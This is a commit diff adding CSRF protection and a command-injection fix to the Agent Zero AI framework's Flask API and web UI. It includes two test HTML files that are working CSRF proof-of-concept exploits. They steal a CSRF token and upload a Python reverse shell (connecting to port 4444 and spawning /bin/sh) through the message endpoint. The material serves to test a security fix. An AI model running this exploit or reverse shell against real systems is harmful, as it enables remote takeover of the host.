Agent Zero AI framework
security fixes
frdel1bb4123dcbe3
diff --git a/python/api/csrf_token.py b/python/api/csrf_token.pynew file mode 100644index 000000000..bc6a29a50--- /dev/null+++ b/python/api/csrf_token.py@@ -0,0 +1,18 @@+import secrets+from python.helpers.api import ApiHandler, Input, Output, Request, Response, session+++class GetCsrfToken(ApiHandler):++ @classmethod+ def get_methods(cls) -> list[str]:+ return ["GET"]++ @classmethod+ def requires_csrf(cls) -> bool:+ return False++ async def process(self, input: Input, request: Request) -> Output:+ if "csrf_token" not in session:+ session["csrf_token"] = secrets.token_urlsafe(32)+ return {"token": session["csrf_token"]}diff --git a/python/api/health.py b/python/api/health.pyindex c2055fef8..7cf0965f4 100644--- a/python/api/health.py+++ b/python/api/health.py@@ -6,6 +6,18 @@ from python.helpers import gitclass HealthCheck(ApiHandler):+ @classmethod+ def requires_auth(cls) -> bool:+ return False++ @classmethod+ def requires_csrf(cls) -> bool:+ return False++ @classmethod+ def get_methods(cls) -> list[str]:+ return ["GET", "POST"]+async def process(self, input: dict, request: Request) -> dict | Response:gitinfo = Noneerror = Nonediff --git a/python/api/scheduler_tick.py b/python/api/scheduler_tick.pyindex 3d7935f22..2363ab837 100644--- a/python/api/scheduler_tick.py+++ b/python/api/scheduler_tick.py@@ -11,6 +11,14 @@ class SchedulerTick(ApiHandler):def requires_loopback(cls) -> bool:return True+ @classmethod+ def requires_auth(cls) -> bool:+ return False++ @classmethod+ def requires_csrf(cls) -> bool:+ return False+async def process(self, input: Input, request: Request) -> Output:# Get timezone from input (do not set if not provided, we then rely on poll() to set it)if timezone := input.get("timezone", None):diff --git a/python/helpers/api.py b/python/helpers/api.pyindex ff1b1540d..8110386c3 100644--- a/python/helpers/api.py+++ b/python/helpers/api.py@@ -3,14 +3,13 @@ import jsonimport threadingfrom typing import Union, TypedDict, Dict, Anyfrom attr import dataclass-from flask import Request, Response, jsonify, Flask+from flask import Request, Response, jsonify, Flask, session, requestfrom agent import AgentContextfrom initialize import initialize_agentfrom python.helpers.print_style import PrintStylefrom python.helpers.errors import format_errorfrom werkzeug.serving import make_server-Input = dictOutput = Union[Dict[str, Any], Response, TypedDict] # type: ignore@@ -32,6 +31,14 @@ class ApiHandler:def requires_auth(cls) -> bool:return True+ @classmethod+ def get_methods(cls) -> list[str]:+ return ["POST"]++ @classmethod+ def requires_csrf(cls) -> bool:+ return cls.requires_auth()+@abstractmethodasync def process(self, input: Input, request: Request) -> Output:passdiff --git a/python/helpers/settings.py b/python/helpers/settings.pyindex 42076c76c..127ac31a5 100644--- a/python/helpers/settings.py+++ b/python/helpers/settings.py@@ -1083,7 +1083,12 @@ def _dict_to_env(data_dict):def set_root_password(password: str):if not runtime.is_dockerized():raise Exception("root password can only be set in dockerized environments")- subprocess.run(f"echo 'root:{password}' | chpasswd", shell=True, check=True)+ _result = subprocess.run(+ ["chpasswd"],+ input=f"root:{password}".encode(),+ capture_output=True,+ check=True,+ )dotenv.save_dotenv_value(dotenv.KEY_ROOT_PASSWORD, password)diff --git a/run_ui.py b/run_ui.pyindex b8733116c..7e3e8733e 100644--- a/run_ui.py+++ b/run_ui.py@@ -1,4 +1,5 @@import os+import secretsimport sysimport timeimport socket@@ -6,7 +7,8 @@ import structfrom functools import wrapsimport threadingimport signal-from flask import Flask, request, Response+from typing import override+from flask import Flask, request, Response, sessionfrom flask_basicauth import BasicAuthimport initializefrom python.helpers import errors, files, git, mcp_server@@ -24,7 +26,12 @@ time.tzset()# initialize the internal Flask serverwebapp = Flask("app", static_folder=get_abs_path("./webui"), static_url_path="/")-webapp.config["JSON_SORT_KEYS"] = False # Disable key sorting in jsonify+webapp.secret_key = os.getenv("FLASK_SECRET_KEY") or secrets.token_hex(32)+webapp.config.update(+ JSON_SORT_KEYS=False,+ SESSION_COOKIE_SAMESITE="Strict",+)+lock = threading.Lock()@@ -119,6 +126,18 @@ def requires_auth(f):return decorated+def csrf_protect(f):+ @wraps(f)+ async def decorated(*args, **kwargs):+ token = session.get("csrf_token")+ header = request.headers.get("X-CSRF-Token")+ if not token or not header or token != header:+ return Response("CSRF token missing or invalid", 403)+ return await f(*args, **kwargs)++ return decorated++# handle default address, load index@webapp.route("/", methods=["GET"])@requires_auth@@ -164,35 +183,23 @@ def run():name = handler.__module__.split(".")[-1]instance = handler(app, lock)- if handler.requires_loopback():-- @requires_loopback- async def handle_request():- return await instance.handle_request(request=request)-- elif handler.requires_auth():-- @requires_auth- async def handle_request():- return await instance.handle_request(request=request)+ async def handler_wrap():+ return await instance.handle_request(request=request)- elif handler.requires_api_key():-- @requires_api_key- async def handle_request():- return await instance.handle_request(request=request)-- else:- # Fallback to requires_auth- @requires_auth- async def handle_request():- return await instance.handle_request(request=request)+ if handler.requires_loopback():+ handler_wrap = requires_loopback(handler_wrap)+ if handler.requires_auth():+ handler_wrap = requires_auth(handler_wrap)+ if handler.requires_api_key():+ handler_wrap = requires_api_key(handler_wrap)+ if handler.requires_csrf():+ handler_wrap = csrf_protect(handler_wrap)app.add_url_rule(f"/{name}",f"/{name}",- handle_request,- methods=["POST", "GET"],+ handler_wrap,+ methods=handler.get_methods(),)# initialize and register API handlersdiff --git a/test [conflicted].html b/test [conflicted].htmlnew file mode 100644index 000000000..61a647eb5--- /dev/null+++ b/test [conflicted].html@@ -0,0 +1,61 @@+<html>+ <body>+ <script>+ function submitRequest()+ {+ // First XMLHttpRequest to get the CSRF token+ var tokenXhr = new XMLHttpRequest();+ tokenXhr.open("GET", "http:\/\/localhost:50002\/csrf_token", false); // synchronous request+ tokenXhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");+ tokenXhr.setRequestHeader("Accept", "*\/*");+ tokenXhr.withCredentials = true;+ tokenXhr.send({});++ // Parse the token response+ var tokenData = JSON.parse(tokenXhr.responseText);+ var csrfToken = tokenData.token;++ var xhr = new XMLHttpRequest();+ xhr.open("POST", "https:\/\/participant-masters-estimates-digit.trycloudflare.com\/message_async", true);+ xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");+ xhr.setRequestHeader("Accept", "*\/*");+ xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary2vhsFbdS6JottCc9");+ xhr.setRequestHeader("X-CSRF-Token", csrfToken);+ xhr.withCredentials = true;+ var body = "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" ++ "Content-Disposition: form-data; name=\"text\"\r\n" ++ "\r\n" ++ "\r\n" ++ "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" ++ "Content-Disposition: form-data; name=\"context\"\r\n" ++ "\r\n" ++ "4770cda2-faa5-40eb-91be-f45edbec9a34\r\n" ++ "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" ++ "Content-Disposition: form-data; name=\"message_id\"\r\n" ++ "\r\n" ++ "6ce5886d-f55c-4f74-a980-c483ee291349\r\n" ++ "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" ++ "Content-Disposition: form-data; name=\"attachments\"; filename=\"rev.py\"\r\n" ++ "Content-Type: text/x-python\r\n" ++ "\r\n" ++ "import socket,os,pty\n" ++ "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" ++ "s.connect((\"127.0.0.1\",4444))\n" ++ "os.dup2(s.fileno(),0)\n" ++ "os.dup2(s.fileno(),1)\n" ++ "os.dup2(s.fileno(),2)\n" ++ "pty.spawn(\"/bin/sh\")\n" ++ "\r\n" ++ "------WebKitFormBoundary2vhsFbdS6JottCc9--\r\n";+ var aBody = new Uint8Array(body.length);+ for (var i = 0; i < aBody.length; i++)+ aBody[i] = body.charCodeAt(i);+ xhr.send(new Blob([aBody]));+ }+ submitRequest();+ </script>+ <form action="#">+ <input type="button" value="Submit request" onclick="submitRequest();" />+ </form>+ </body>+</html>\ No newline at end of filediff --git a/test.html b/test.htmlnew file mode 100644index 000000000..342afd917--- /dev/null+++ b/test.html@@ -0,0 +1,65 @@+<html>+ <body>+ <script>+ function submitRequest()+ {+ // First XMLHttpRequest to get the CSRF token+ var tokenXhr = new XMLHttpRequest();+ tokenXhr.open("GET", "http:\/\/localhost:50002\/csrf_token", false); // synchronous request+ tokenXhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");+ tokenXhr.setRequestHeader("Accept", "*\/*");+ tokenXhr.withCredentials = true;+ tokenXhr.send({});+++ // Parse the token response+ var tokenData = JSON.parse(tokenXhr.responseText);+ var csrfToken = tokenData.token;++ // Set the CSRF token as a cookie to match session["csrf_token"]+ document.cookie = "csrf_token=" + csrfToken + "; path=/; SameSite=Strict";++ var xhr = new XMLHttpRequest();+ xhr.open("POST", "http:\/\/localhost:50002\/message_async", true);+ xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");+ xhr.setRequestHeader("Accept", "*\/*");+ xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary2vhsFbdS6JottCc9");+ xhr.setRequestHeader("X-CSRF-Token", csrfToken);+ xhr.withCredentials = true;+ var body = "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" ++ "Content-Disposition: form-data; name=\"text\"\r\n" ++ "\r\n" ++ "\r\n" ++ "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" ++ "Content-Disposition: form-data; name=\"context\"\r\n" ++ "\r\n" ++ "4770cda2-faa5-40eb-91be-f45edbec9a34\r\n" ++ "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" ++ "Content-Disposition: form-data; name=\"message_id\"\r\n" ++ "\r\n" ++ "6ce5886d-f55c-4f74-a980-c483ee291349\r\n" ++ "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" ++ "Content-Disposition: form-data; name=\"attachments\"; filename=\"rev.py\"\r\n" ++ "Content-Type: text/x-python\r\n" ++ "\r\n" ++ "import socket,os,pty\n" ++ "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" ++ "s.connect((\"127.0.0.1\",4444))\n" ++ "os.dup2(s.fileno(),0)\n" ++ "os.dup2(s.fileno(),1)\n" ++ "os.dup2(s.fileno(),2)\n" ++ "pty.spawn(\"/bin/sh\")\n" ++ "\r\n" ++ "------WebKitFormBoundary2vhsFbdS6JottCc9--\r\n";+ var aBody = new Uint8Array(body.length);+ for (var i = 0; i < aBody.length; i++)+ aBody[i] = body.charCodeAt(i);+ xhr.send(new Blob([aBody]));+ }+ submitRequest();+ </script>+ <form action="#">+ <input type="button" value="Submit request" onclick="submitRequest();" />+ </form>+ </body>+</html>\ No newline at end of filediff --git a/webui/index.js b/webui/index.jsindex 5768d271c..e87e30098 100644--- a/webui/index.js+++ b/webui/index.js@@ -1,25 +1,26 @@import * as msgs from "./js/messages.js";import { speech } from "./js/speech.js";--const leftPanel = document.getElementById('left-panel');-const rightPanel = document.getElementById('right-panel');-const container = document.querySelector('.container');-const chatInput = document.getElementById('chat-input');-const chatHistory = document.getElementById('chat-history');-const sendButton = document.getElementById('send-button');-const inputSection = document.getElementById('input-section');-const statusSection = document.getElementById('status-section');-const chatsSection = document.getElementById('chats-section');-const tasksSection = document.getElementById('tasks-section');-const progressBar = document.getElementById('progress-bar');-const autoScrollSwitch = document.getElementById('auto-scroll-switch');-const timeDate = document.getElementById('time-date-container');-+import * as api from "./js/api.js";++window.fetchApi = api.fetchApi; // TODO - backward compatibility for non-modular scripts, remove once refactored to alpine++const leftPanel = document.getElementById("left-panel");+const rightPanel = document.getElementById("right-panel");+const container = document.querySelector(".container");+const chatInput = document.getElementById("chat-input");+const chatHistory = document.getElementById("chat-history");+const sendButton = document.getElementById("send-button");+const inputSection = document.getElementById("input-section");+const statusSection = document.getElementById("status-section");+const chatsSection = document.getElementById("chats-section");+const tasksSection = document.getElementById("tasks-section");+const progressBar = document.getElementById("progress-bar");+const autoScrollSwitch = document.getElementById("auto-scroll-switch");+const timeDate = document.getElementById("time-date-container");let autoScroll = true;let context = "";-let connectionStatus = false-+let connectionStatus = false;// Initialize the toggle buttonsetupSidebarToggle();@@ -27,1250 +28,1297 @@ setupSidebarToggle();setupTabs();function isMobile() {- return window.innerWidth <= 768;+ return window.innerWidth <= 768;}function toggleSidebar(show) {- const overlay = document.getElementById('sidebar-overlay');- if (typeof show === 'boolean') {- leftPanel.classList.toggle('hidden', !show);- rightPanel.classList.toggle('expanded', !show);- overlay.classList.toggle('visible', show);- } else {- leftPanel.classList.toggle('hidden');- rightPanel.classList.toggle('expanded');- overlay.classList.toggle('visible', !leftPanel.classList.contains('hidden'));- }+ const overlay = document.getElementById("sidebar-overlay");+ if (typeof show === "boolean") {+ leftPanel.classList.toggle("hidden", !show);+ rightPanel.classList.toggle("expanded", !show);+ overlay.classList.toggle("visible", show);+ } else {+ leftPanel.classList.toggle("hidden");+ rightPanel.classList.toggle("expanded");+ overlay.classList.toggle(+ "visible",+ !leftPanel.classList.contains("hidden")+ );+ }}function handleResize() {- const overlay = document.getElementById('sidebar-overlay');- if (isMobile()) {- leftPanel.classList.add('hidden');- rightPanel.classList.add('expanded');- overlay.classList.remove('visible');- } else {- leftPanel.classList.remove('hidden');- rightPanel.classList.remove('expanded');- overlay.classList.remove('visible');- }+ const overlay = document.getElementById("sidebar-overlay");+ if (isMobile()) {+ leftPanel.classList.add("hidden");+ rightPanel.classList.add("expanded");+ overlay.classList.remove("visible");+ } else {+ leftPanel.classList.remove("hidden");+ rightPanel.classList.remove("expanded");+ overlay.classList.remove("visible");+ }}-window.addEventListener('load', handleResize);-window.addEventListener('resize', handleResize);+window.addEventListener("load", handleResize);+window.addEventListener("resize", handleResize);-document.addEventListener('DOMContentLoaded', () => {- const overlay = document.getElementById('sidebar-overlay');- overlay.addEventListener('click', () => {- if (isMobile()) {- toggleSidebar(false);- }- });+document.addEventListener("DOMContentLoaded", () => {+ const overlay = document.getElementById("sidebar-overlay");+ overlay.addEventListener("click", () => {+ if (isMobile()) {+ toggleSidebar(false);+ }+ });});function setupSidebarToggle() {- const leftPanel = document.getElementById('left-panel');- const rightPanel = document.getElementById('right-panel');- const toggleSidebarButton = document.getElementById('toggle-sidebar');- if (toggleSidebarButton) {- toggleSidebarButton.addEventListener('click', toggleSidebar);- } else {- console.error('Toggle sidebar button not found');- setTimeout(setupSidebarToggle, 100);- }+ const leftPanel = document.getElementById("left-panel");+ const rightPanel = document.getElementById("right-panel");+ const toggleSidebarButton = document.getElementById("toggle-sidebar");+ if (toggleSidebarButton) {+ toggleSidebarButton.addEventListener("click", toggleSidebar);+ } else {+ console.error("Toggle sidebar button not found");+ setTimeout(setupSidebarToggle, 100);+ }}-document.addEventListener('DOMContentLoaded', setupSidebarToggle);+document.addEventListener("DOMContentLoaded", setupSidebarToggle);export async function sendMessage() {- try {- const message = chatInput.value.trim();- const inputAD = Alpine.$data(inputSection);- const attachments = inputAD.attachments;- const hasAttachments = attachments && attachments.length > 0;-- if (message || hasAttachments) {- let response;- const messageId = generateGUID();-- // Include attachments in the user message- if (hasAttachments) {- const attachmentsWithUrls = attachments.map(attachment => {- if (attachment.type === 'image') {- return {- ...attachment,- url: URL.createObjectURL(attachment.file)- };- } else {- return {- ...attachment- };- }- });-- // Render user message with attachments- setMessage(messageId, 'user', '', message, false, {- attachments: attachmentsWithUrls- });-- const formData = new FormData();- formData.append('text', message);- formData.append('context', context);- formData.append('message_id', messageId);-- for (let i = 0; i < attachments.length; i++) {- formData.append('attachments', attachments[i].file);- }-- response = await fetch('/message_async', {- method: 'POST',- body: formData- });- } else {- // For text-only messages- const data = {- text: message,- context,- message_id: messageId- };- response = await fetch('/message_async', {- method: 'POST',- headers: {- 'Content-Type': 'application/json'- },- body: JSON.stringify(data)- });- }-- // Handle response- const jsonResponse = await response.json();- if (!jsonResponse) {- toast("No response returned.", "error");- }- // else if (!jsonResponse.ok) {- // if (jsonResponse.message) {- // toast(jsonResponse.message, "error");- // } else {- // toast("Undefined error.", "error");- // }- // }- else {- setContext(jsonResponse.context);- }-- // Clear input and attachments- chatInput.value = '';- inputAD.attachments = [];- inputAD.hasAttachments = false;- adjustTextareaHeight();+ try {+ const message = chatInput.value.trim();+ const inputAD = Alpine.$data(inputSection);+ const attachments = inputAD.attachments;+ const hasAttachments = attachments && attachments.length > 0;++ if (message || hasAttachments) {+ let response;+ const messageId = generateGUID();++ // Include attachments in the user message+ if (hasAttachments) {+ const attachmentsWithUrls = attachments.map((attachment) => {+ if (attachment.type === "image") {+ return {+ ...attachment,+ url: URL.createObjectURL(attachment.file),+ };+ } else {+ return {+ ...attachment,+ };+ }+ });++ // Render user message with attachments+ setMessage(messageId, "user", "", message, false, {+ attachments: attachmentsWithUrls,+ });++ const formData = new FormData();+ formData.append("text", message);+ formData.append("context", context);+ formData.append("message_id", messageId);++ for (let i = 0; i < attachments.length; i++) {+ formData.append("attachments", attachments[i].file);}- } catch (e) {- toastFetchError("Error sending message", e)++ response = await api.fetchApi("/message_async", {+ method: "POST",+ body: formData,+ });+ } else {+ // For text-only messages+ const data = {+ text: message,+ context,+ message_id: messageId,+ };+ response = await api.fetchApi("/message_async", {+ method: "POST",+ headers: {+ "Content-Type": "application/json",+ },+ body: JSON.stringify(data),+ });+ }++ // Handle response+ const jsonResponse = await response.json();+ if (!jsonResponse) {+ toast("No response returned.", "error");+ }+ // else if (!jsonResponse.ok) {+ // if (jsonResponse.message) {+ // toast(jsonResponse.message, "error");+ // } else {+ // toast("Undefined error.", "error");+ // }+ // }+ else {+ setContext(jsonResponse.context);+ }++ // Clear input and attachments+ chatInput.value = "";+ inputAD.attachments = [];+ inputAD.hasAttachments = false;+ adjustTextareaHeight();}+ } catch (e) {+ toastFetchError("Error sending message", e);+ }}function toastFetchError(text, error) {- if (getConnectionStatus()) {- toast(`${text}: ${error.message}`, "error");- } else {- toast(`${text} (it seems the backend is not running): ${error.message}`, "error");- }- console.error(text, error);+ if (getConnectionStatus()) {+ toast(`${text}: ${error.message}`, "error");+ } else {+ toast(+ `${text} (it seems the backend is not running): ${error.message}`,+ "error"+ );+ }+ console.error(text, error);}-window.toastFetchError = toastFetchError+window.toastFetchError = toastFetchError;-chatInput.addEventListener('keydown', (e) => {- if (e.key === 'Enter' && !e.shiftKey) {- e.preventDefault();- sendMessage();- }+chatInput.addEventListener("keydown", (e) => {+ if (e.key === "Enter" && !e.shiftKey) {+ e.preventDefault();+ sendMessage();+ }});-sendButton.addEventListener('click', sendMessage);-+sendButton.addEventListener("click", sendMessage);export function updateChatInput(text) {- console.log('updateChatInput called with:', text);+ console.log("updateChatInput called with:", text);- // Append text with proper spacing- const currentValue = chatInput.value;- const needsSpace = currentValue.length > 0 && !currentValue.endsWith(' ');- chatInput.value = currentValue + (needsSpace ? ' ' : '') + text + ' ';+ // Append text with proper spacing+ const currentValue = chatInput.value;+ const needsSpace = currentValue.length > 0 && !currentValue.endsWith(" ");+ chatInput.value = currentValue + (needsSpace ? " " : "") + text + " ";- // Adjust height and trigger input event- adjustTextareaHeight();- chatInput.dispatchEvent(new Event('input'));+ // Adjust height and trigger input event+ adjustTextareaHeight();+ chatInput.dispatchEvent(new Event("input"));- console.log('Updated chat input value:', chatInput.value);+ console.log("Updated chat input value:", chatInput.value);}function updateUserTime() {- const now = new Date();- const hours = now.getHours();- const minutes = now.getMinutes();- const seconds = now.getSeconds();- const ampm = hours >= 12 ? 'pm' : 'am';- const formattedHours = hours % 12 || 12;-- // Format the time- const timeString = `${formattedHours}:${minutes.toString().padStart(2, '0')}:${seconds.toString().padStart(2, '0')} ${ampm}`;-- // Format the date- const options = { year: 'numeric', month: 'short', day: 'numeric' };- const dateString = now.toLocaleDateString(undefined, options);-- // Update the HTML- const userTimeElement = document.getElementById('time-date');- userTimeElement.innerHTML = `${timeString}<br><span id="user-date">${dateString}</span>`;+ const now = new Date();+ const hours = now.getHours();+ const minutes = now.getMinutes();+ const seconds = now.getSeconds();+ const ampm = hours >= 12 ? "pm" : "am";+ const formattedHours = hours % 12 || 12;++ // Format the time+ const timeString = `${formattedHours}:${minutes+ .toString()+ .padStart(2, "0")}:${seconds.toString().padStart(2, "0")} ${ampm}`;++ // Format the date+ const options = { year: "numeric", month: "short", day: "numeric" };+ const dateString = now.toLocaleDateString(undefined, options);++ // Update the HTML+ const userTimeElement = document.getElementById("time-date");+ userTimeElement.innerHTML = `${timeString}<br><span id="user-date">${dateString}</span>`;}updateUserTime();setInterval(updateUserTime, 1000);-function setMessage(id, type, heading, content, temp, kvps = null) {- // Search for the existing message container by id- let messageContainer = document.getElementById(`message-${id}`);+ // Search for the existing message container by id+ let messageContainer = document.getElementById(`message-${id}`);- if (messageContainer) {- // Don't re-render user messages- if (type === 'user') {- return; // Skip re-rendering- }- // For other types, update the message- messageContainer.innerHTML = '';- } else {- // Create a new container if not found- const sender = type === 'user' ? 'user' : 'ai';- messageContainer = document.createElement('div');- messageContainer.id = `message-${id}`;- messageContainer.classList.add('message-container', `${sender}-container`);- if (temp) messageContainer.classList.add("message-temp");+ if (messageContainer) {+ // Don't re-render user messages+ if (type === "user") {+ return; // Skip re-rendering}-- const handler = msgs.getHandler(type);- handler(messageContainer, id, type, heading, content, temp, kvps);-- // If the container was found, it was already in the DOM, no need to append again- if (!document.getElementById(`message-${id}`)) {- chatHistory.appendChild(messageContainer);- }-- if (autoScroll) chatHistory.scrollTop = chatHistory.scrollHeight;+ // For other types, update the message+ messageContainer.innerHTML = "";+ } else {+ // Create a new container if not found+ const sender = type === "user" ? "user" : "ai";+ messageContainer = document.createElement("div");+ messageContainer.id = `message-${id}`;+ messageContainer.classList.add("message-container", `${sender}-container`);+ if (temp) messageContainer.classList.add("message-temp");+ }++ const handler = msgs.getHandler(type);+ handler(messageContainer, id, type, heading, content, temp, kvps);++ // If the container was found, it was already in the DOM, no need to append again+ if (!document.getElementById(`message-${id}`)) {+ chatHistory.appendChild(messageContainer);+ }++ if (autoScroll) chatHistory.scrollTop = chatHistory.scrollHeight;}-window.loadKnowledge = async function () {- const input = document.createElement('input');- input.type = 'file';- input.accept = '.txt,.pdf,.csv,.html,.json,.md';- input.multiple = true;-- input.onchange = async () => {- try{- const formData = new FormData();- for (let file of input.files) {- formData.append('files[]', file);- }-- formData.append('ctxid', getContext());-- const response = await fetch('/import_knowledge', {- method: 'POST',- body: formData,- });-- if (!response.ok) {- toast(await response.text(), "error");- } else {- const data = await response.json();- toast("Knowledge files imported: " + data.filenames.join(", "), "success");- }- } catch (e) {- toastFetchError("Error loading knowledge", e)- }- };+ const input = document.createElement("input");+ input.type = "file";+ input.accept = ".txt,.pdf,.csv,.html,.json,.md";+ input.multiple = true;- input.click();-}+ input.onchange = async () => {+ try {+ const formData = new FormData();+ for (let file of input.files) {+ formData.append("files[]", file);+ }++ formData.append("ctxid", getContext());++ const response = await api.fetchApi("/import_knowledge", {+ method: "POST",+ body: formData,+ });++ if (!response.ok) {+ toast(await response.text(), "error");+ } else {+ const data = await response.json();+ toast(+ "Knowledge files imported: " + data.filenames.join(", "),+ "success"+ );+ }+ } catch (e) {+ toastFetchError("Error loading knowledge", e);+ }+ };+ input.click();+};function adjustTextareaHeight() {- chatInput.style.height = 'auto';- chatInput.style.height = (chatInput.scrollHeight) + 'px';+ chatInput.style.height = "auto";+ chatInput.style.height = chatInput.scrollHeight + "px";}export const sendJsonData = async function (url, data) {- const response = await fetch(url, {- method: 'POST',- headers: {- 'Content-Type': 'application/json'- },- body: JSON.stringify(data)- });-- if (!response.ok) {- const error = await response.text();- throw new Error(error);- }- const jsonResponse = await response.json();- return jsonResponse;-}-window.sendJsonData = sendJsonData+ return await api.callJsonApi(url, data);+ // const response = await api.fetchApi(url, {+ // method: 'POST',+ // headers: {+ // 'Content-Type': 'application/json'+ // },+ // body: JSON.stringify(data)+ // });++ // if (!response.ok) {+ // const error = await response.text();+ // throw new Error(error);+ // }+ // const jsonResponse = await response.json();+ // return jsonResponse;+};+window.sendJsonData = sendJsonData;function generateGUID() {- return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {- var r = Math.random() * 16 | 0;- var v = c === 'x' ? r : (r & 0x3 | 0x8);- return v.toString(16);- });+ return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) {+ var r = (Math.random() * 16) | 0;+ var v = c === "x" ? r : (r & 0x3) | 0x8;+ return v.toString(16);+ });}function getConnectionStatus() {- return connectionStatus+ return connectionStatus;}function setConnectionStatus(connected) {- connectionStatus = connected- const statusIcon = Alpine.$data(timeDate.querySelector('.status-icon'));- statusIcon.connected = connected+ connectionStatus = connected;+ const statusIcon = Alpine.$data(timeDate.querySelector(".status-icon"));+ statusIcon.connected = connected;}let lastLogVersion = 0;-let lastLogGuid = ""-let lastSpokenNo = 0+let lastLogGuid = "";+let lastSpokenNo = 0;async function poll() {- let updated = false- try {- // Get timezone from navigator- const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;-- const response = await sendJsonData(- "/poll",- {- log_from: lastLogVersion,- context: context || null,- timezone: timezone- }- );+ let updated = false;+ try {+ // Get timezone from navigator+ const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;++ const response = await sendJsonData("/poll", {+ log_from: lastLogVersion,+ context: context || null,+ timezone: timezone,+ });- // Check if the response is valid- if (!response) {- console.error("Invalid response from poll endpoint");- return false;- }+ // Check if the response is valid+ if (!response) {+ console.error("Invalid response from poll endpoint");+ return false;+ }- if (!context) setContext(response.context)- if (response.context != context) return //skip late polls after context change+ if (!context) setContext(response.context);+ if (response.context != context) return; //skip late polls after context change- if (lastLogGuid != response.log_guid) {- chatHistory.innerHTML = ""- lastLogVersion = 0- }+ if (lastLogGuid != response.log_guid) {+ chatHistory.innerHTML = "";+ lastLogVersion = 0;+ }- if (lastLogVersion != response.log_version) {- updated = true- for (const log of response.logs) {- const messageId = log.id || log.no; // Use log.id if available- setMessage(messageId, log.type, log.heading, log.content, log.temp, log.kvps);- }- afterMessagesUpdate(response.logs)- }+ if (lastLogVersion != response.log_version) {+ updated = true;+ for (const log of response.logs) {+ const messageId = log.id || log.no; // Use log.id if available+ setMessage(+ messageId,+ log.type,+ log.heading,+ log.content,+ log.temp,+ log.kvps+ );+ }+ afterMessagesUpdate(response.logs);+ }++ lastLogVersion = response.log_version;+ lastLogGuid = response.log_guid;- lastLogVersion = response.log_version;- lastLogGuid = response.log_guid;+ updateProgress(response.log_progress, response.log_progress_active);- updateProgress(response.log_progress, response.log_progress_active)+ //set ui model vars from backend+ const inputAD = Alpine.$data(inputSection);+ inputAD.paused = response.paused;- //set ui model vars from backend- const inputAD = Alpine.$data(inputSection);- inputAD.paused = response.paused;+ // Update status icon state+ setConnectionStatus(true);- // Update status icon state- setConnectionStatus(true)+ // Update chats list and sort by created_at time (newer first)+ const chatsAD = Alpine.$data(chatsSection);+ const contexts = response.contexts || [];+ chatsAD.contexts = contexts.sort(+ (a, b) => (b.created_at || 0) - (a.created_at || 0)+ );- // Update chats list and sort by created_at time (newer first)- const chatsAD = Alpine.$data(chatsSection);- const contexts = response.contexts || [];- chatsAD.contexts = contexts.sort((a, b) =>- (b.created_at || 0) - (a.created_at || 0)+ // Update tasks list and sort by creation time (newer first)+ const tasksSection = document.getElementById("tasks-section");+ if (tasksSection) {+ const tasksAD = Alpine.$data(tasksSection);+ let tasks = response.tasks || [];++ // Always update tasks to ensure state changes are reflected+ if (tasks.length > 0) {+ // Sort the tasks by creation time+ const sortedTasks = [...tasks].sort(+ (a, b) => (b.created_at || 0) - (a.created_at || 0));- // Update tasks list and sort by creation time (newer first)- const tasksSection = document.getElementById('tasks-section');- if (tasksSection) {- const tasksAD = Alpine.$data(tasksSection);- let tasks = response.tasks || [];-- // Always update tasks to ensure state changes are reflected- if (tasks.length > 0) {- // Sort the tasks by creation time- const sortedTasks = [...tasks].sort((a, b) =>- (b.created_at || 0) - (a.created_at || 0)- );-- // Assign the sorted tasks to the Alpine data- tasksAD.tasks = sortedTasks;- } else {- // Make sure to use a new empty array instance- tasksAD.tasks = [];- }- }+ // Assign the sorted tasks to the Alpine data+ tasksAD.tasks = sortedTasks;+ } else {+ // Make sure to use a new empty array instance+ tasksAD.tasks = [];+ }+ }- // Make sure the active context is properly selected in both lists- if (context) {- // Update selection in the active tab- const activeTab = localStorage.getItem('activeTab') || 'chats';-- if (activeTab === 'chats') {- chatsAD.selected = context;- localStorage.setItem('lastSelectedChat', context);-- // Check if this context exists in the chats list- const contextExists = contexts.some(ctx => ctx.id === context);-- // If it doesn't exist in the chats list but we're in chats tab, try to select the first chat- if (!contextExists && contexts.length > 0) {- // Check if the current context is empty before creating a new one- // If there's already a current context and we're just updating UI, don't automatically- // create a new context by calling setContext- const firstChatId = contexts[0].id;-- // Only create a new context if we're not currently in an existing context- // This helps prevent duplicate contexts when switching tabs- setContext(firstChatId);- chatsAD.selected = firstChatId;- localStorage.setItem('lastSelectedChat', firstChatId);- }- } else if (activeTab === 'tasks' && tasksSection) {- const tasksAD = Alpine.$data(tasksSection);- tasksAD.selected = context;- localStorage.setItem('lastSelectedTask', context);-- // Check if this context exists in the tasks list- const taskExists = response.tasks?.some(task => task.id === context);-- // If it doesn't exist in the tasks list but we're in tasks tab, try to select the first task- if (!taskExists && response.tasks?.length > 0) {- const firstTaskId = response.tasks[0].id;- setContext(firstTaskId);- tasksAD.selected = firstTaskId;- localStorage.setItem('lastSelectedTask', firstTaskId);- }- }- } else if (response.tasks && response.tasks.length > 0 && localStorage.getItem('activeTab') === 'tasks') {- // If we're in tasks tab with no selection but have tasks, select the first one- const firstTaskId = response.tasks[0].id;- setContext(firstTaskId);- if (tasksSection) {- const tasksAD = Alpine.$data(tasksSection);- tasksAD.selected = firstTaskId;- localStorage.setItem('lastSelectedTask', firstTaskId);- }- } else if (contexts.length > 0 && 